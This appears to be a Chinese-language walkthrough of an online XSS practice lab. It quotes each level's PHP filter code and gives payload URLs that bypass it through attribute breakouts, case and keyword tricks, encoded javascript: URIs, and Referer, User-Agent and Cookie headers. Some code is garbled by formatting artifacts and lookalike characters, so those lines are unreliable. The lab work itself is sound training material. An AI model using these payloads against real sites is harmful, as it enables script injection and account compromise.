xss靶场在线靶场

1、普通
window.alert = function()
http://test.ctf8.com/level1.php?name=

2、value

http://test.ctf8.com/level2.php?keyword=">

3、被转义
htmlspecialchars把预定义的字符 “<” （小于）和 “>” （大于）转换为 HTML 实体
& （和号）成为 &
“ （双引号）成为 ”
’ （单引号）成为 ’
> （大于）成为 >
< （小于）成为 <
要把特殊的 HTML 实体转换回字符，请使用 htmlspecialchars_decode（） 函数

onfocus #当 input 输入框获取焦点时执行一段 Javascript代码
http://test.ctf8.com/level3.php?keyword=’ οnfοcus=alert(‘ok’)//
http://test.ctf8.com/level3.php?keyword=1’ οnclick=alert(‘ok’)//
http://test.ctf8.com/level3.php?keyword=1’ οnclick=‘alert(1)’

4、被转义后加了括号
$str2=str_replace(“>”,“”,$str);
$str3=str_replace(“<”,“”,$str2);

http://test.ctf8.com/level4.php?keyword=1" οnclick=alert(1)//

5、过滤
$str=strtolower($_GET[“keyword”]); #把所有字符转换为小写
$str2=st{r}_{r}eplace("<script","<sc{r}_{i}pt",$str);
$str3=st{r}_{r}eplace("on","o_n",$str2);

http://test.ctf8.com/level5.php?keyword=text">

7、过滤
ini_set(“display_errors”, 0);
$str =strtolower( $_GET[“keyword”]);
$str2=str_replace(“script”,“”,$str);
$str3=str_replace(“on”,“”,$str2);
$str4=str_replace(“src”,“”,$str3);
$str5=str_replace(“data”,“”,$str4);
$str6=str_replace(“href”,“”,$str5);

http://test.ctf8.com/level7.php?keyword=keyword=1" oonNcliCk=alert(1)//

8、
ini_set(“display_errors”, 0);
$str = strtolower($_GET[“keyword”]);
$str2=str_replace(“script”,“scr_ipt”,$str);
$str3=str_replace(“on”,“o_n”,$str2);
$str4=str_replace(“src”,“sr_c”,$str3);
$str5=str_replace(“data”,“da_ta”,$str4);
$str6=str_replace(“href”,“hr_ef”,$str5);
$str7=str_replace(‘"’,‘"’,$str6);

echo ‘

友情链接’;
javascript:alert(111)
r为r转码后 javascript:alert(1)，页面是识别ASCLL码的，遇到value="a"过滤可以直接尝试转码http://www.jsons.cn/ascii/

9、
ini_set(“display_errors”, 0);
$str = strtolower($_GET[“keyword”]);
$str2=str_replace(“script”,“scr_ipt”,$str);
$str3=str_replace(“on”,“o_n”,$str2);
$str4=str_replace(“src”,“sr_c”,$str3);
$str5=str_replace(“data”,“da_ta”,$str4);
$str6=str_replace(“href”,“hr_ef”,$str5);
$str7=str_replace(‘"’,‘"’,$str6);

$str){.}^{\prime }">if(false===strpos($str7,‘http://’))
javascript:http://www.0aa.me%0dalert(‘ok’)
javascript:http://%0dalert(123)

10、F12
ini_set(“display_errors”, 0);
$str = $_GET[“keyword”];
$str11 = $_GET[“t_sort”];
$str22=str_replace(“>”,“”,$str11);
$str33=str_replace(“<”,“”,$str22);

11、F12、捕包
ini_set(“display_errors”, 0);
$str = $_GET[“keyword”];
$str00 = $_GET[“t_sort”];
$str11=$_SERVER[‘HTTP_REFERER’];
$str22=str_replace(“>”,“”,$str11);
$str33=str_replace(“<”,“”,$str22);

%22%20oNcliCk=alert(1)//” type=“text” οnclick=alert(1) >
Referer: " type=“text” οnclick="alert(1)

12、F12、捕包
ini_set(“display_errors”, 0);
$str = $_GET[“keyword”];
$str00 = $_GET[“t_sort”];
$str11=$_SERVER[‘HTTP_USER_AGENT’];
$str22=str_replace(“>”,“”,$str11);
$str33=str_replace(“<”,“”,$str22);

13、F12、捕包
ini_set(“display_errors”, 0);
$str = $_GET[“keyword”];
$str00 = $_GET[“t_sort”];
$str11=$_COOKIE[“user”];
$str22=str_replace(“>”,“”,$str11);
$str33=str_replace(“<”,“”,$str22);